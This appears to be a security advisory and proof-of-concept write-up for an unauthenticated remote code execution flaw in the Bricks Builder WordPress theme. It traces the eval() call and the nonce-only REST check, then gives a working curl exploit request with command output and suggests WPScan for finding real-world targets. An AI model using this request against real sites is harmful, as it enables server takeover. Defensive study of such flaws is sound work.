Affected Plugin: Bricks Builder
Active Installs: Commercial ~ 25,000
Vulnerable Version: <= 1.9.6
Audited Version: 1.9.6
Fully Patched Version: 1.9.6.1
Recommended Remediation: Upgrade immediately to version 1.9.6.1 or higher
Description
Bricks <= 1.9.6 is vulnerable to unauthenticated remote code execution (RCE), which means that anybody can run arbitrary commands and take over the site/server.
Proof of Concept
Note:
This will be a long POC, you can skip straight ahead to the demonstration.
This vulnerability is a bit more "complex," so we’ll work our way from the inside out.
The Bricks\Query
class is used to manage the rendering of WordPress post queries.
It contains the following vulnerable method:
public static function prepare_query_vars_from_settings( $settings = [], $fallback_element_id = '' )
{
// CUT OUT FOR CLARITY
$execute_user_code = function () use ( $php_query_raw ) {
$user_result = null; // Initialize a variable to capture the result of user code
// Capture user code output using output buffering
ob_start();
$user_result = eval( $php_query_raw ); // Execute the user code
ob_get_clean(); // Get the captured output
return $user_result; // Return the user code result
};
// CUT OUT FOR CLARITY
}
The critical part is Line 10 where $php_query_raw
is passed to PHP’s eval
function.
This function is extremely dangerous, and to be honest, should never be used.
Image
To exploit this, we need to find a way to make Bricks call the above code with user-controlled input for $php_query_raw
.
The prepare_query_vars_from_settings
method is always called in the constructor of the Bricks\Query
class.
Unsurprisingly, this class is used and instantiated in numerous places.
It’s out of scope for us to check every single method call, but the one that stands out immediately is:
Bricks\Ajax::render_element($element)
Bricks uses it to display previews of blocks/elements inside the editor.
This method looks roughly like this (we removed irrelevant parts):
$loop_element = ! empty( $element['loopElement'] ) ? $element['loopElement'] : false;
$element = $element['element'];
if ( ! empty( $loop_element ) ) {
$query = new Query( $loop_element );
// CUT FOR BREVITY
}
$element_name = ! empty( $element['name'] ) ? $element['name'] : '';
$element_class_name = isset( Elements::$elements[ $element_name ]['class'] ) ? Elements::$elements[ $element_name ]['class'] : false;
if ( class_exists( $element_class_name ) ) {
$element_instance = new $element_class_name( $element );
}
The method creates a new instance of Query
with the supplied arguments and either creates a Query
class directly on line 5.
Alternatively, any of Bricks' builder elements can also be created/rendered on line 14, by omitting the “loopElement” argument and passing the “name” of the element without the .php
file.
Many of these element classes will also call new Query()
downstream. There’s also a code element that can be used for this exploit, but in this write-up, we’ll focus on the code path in line 5.
The method is callable via the admin-ajax.php endpoint and the WordPress Rest API.
Furthermore, it contains the following permission check logic
if ( bricks_is_ajax_call() && isset( $_POST ) ) {
self::verify_request();
}
elseif ( bricks_is_rest_call() ) {
// REST API (Permissions checked in the API->render_element_permissions_check())
}
Ajax::verify_request() will check the current user has permissions to access the Bricks builder (sidenote: This is still not ideal since low privilege users might have builder access).
However, if this method is called via the REST API, Ajax::verify_request() is not called.
The code comment:
REST API (Permissions checked in the API->render_element_permissions_check())
indicates that this check if performed inside the permission callback of WP’s rest API.
// Server-side render (SSR) for builder elements via window.fetch API requests
register_rest_route(
self::API_NAMESPACE,
'render_element',
[
'methods' => 'POST',
'callback' => [ $this, 'render_element' ],
'permission_callback' => [ $this, 'render_element_permissions_check' ],
]
);
However, inspecting the render_element_permission_check
method, we can see that no permission checks are performed.
The method only checks if a request contains a valid nonce, and the WordPress docs clearly state that "nonces should never be relied on for authorization":
public function render_element_permissions_check( $request ) {
$data = $request->get_json_params();
if ( empty( $data['postId'] ) || empty( $data['element'] ) || empty( $data['nonce'] ) ) {
return new \WP_Error( 'bricks_api_missing', __( 'Missing parameters' ), [ 'status' => 400 ] );
}
$result = wp_verify_nonce( $data['nonce'], 'bricks-nonce' );
if ( ! $result ) {
return new \WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie check failed' ), [ 'status' => 403 ] );
}
return true;
}
So, the only left prerequisite is getting our hands on a valid nonce with the action “bricks-nonce”.
Bricks will output a valid nonce for every request in the frontend, even if the user is not authenticated. This can be seen below in the rendered HTML of the site’s homepage.
There’s a script tag which contains a “bricksData” object that, among other things, contains a valid nonce.
To summarize we have a valid nonce that can be used to call a Bricks REST API endpoint. This endpoint will render any of Bricks' builder elements with our supplied input. Ultimately, this input ends up inside a call to PHP’s eval
function, which can be exploited to run arbitrary system commands.
Proof of Concept (POC) Demonstration
Vulnerable Target Configuration:
- WordPress Version: 6.4.3
- PHP Version: 8.2.16
- Bricks Builder Theme: 1.9.2
To identify real-world targets, you can use WPScan, a powerful utility that scans for vulnerabilities in WordPress installations and enumerates vulnerable plugins if detected.
wpscan --api-token <api-token> --url <redacted> -ep --random-user-agent --force --disable-tls-checks --ignore-main-redirect
Request
curl -k -X POST "http://[REDACTED]/index.php?rest_route=/bricks/v1/render_element" \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "code",
"settings": {
"executeCode": "true",
"code": "<?php throw new Exception(
id);?>"
}
}
}'
Response
{"data":{"html":"Exception: Did=82(www-data) gid=82(www-data) groups=82(www-data),82(www-data)\n"}}
Exploit code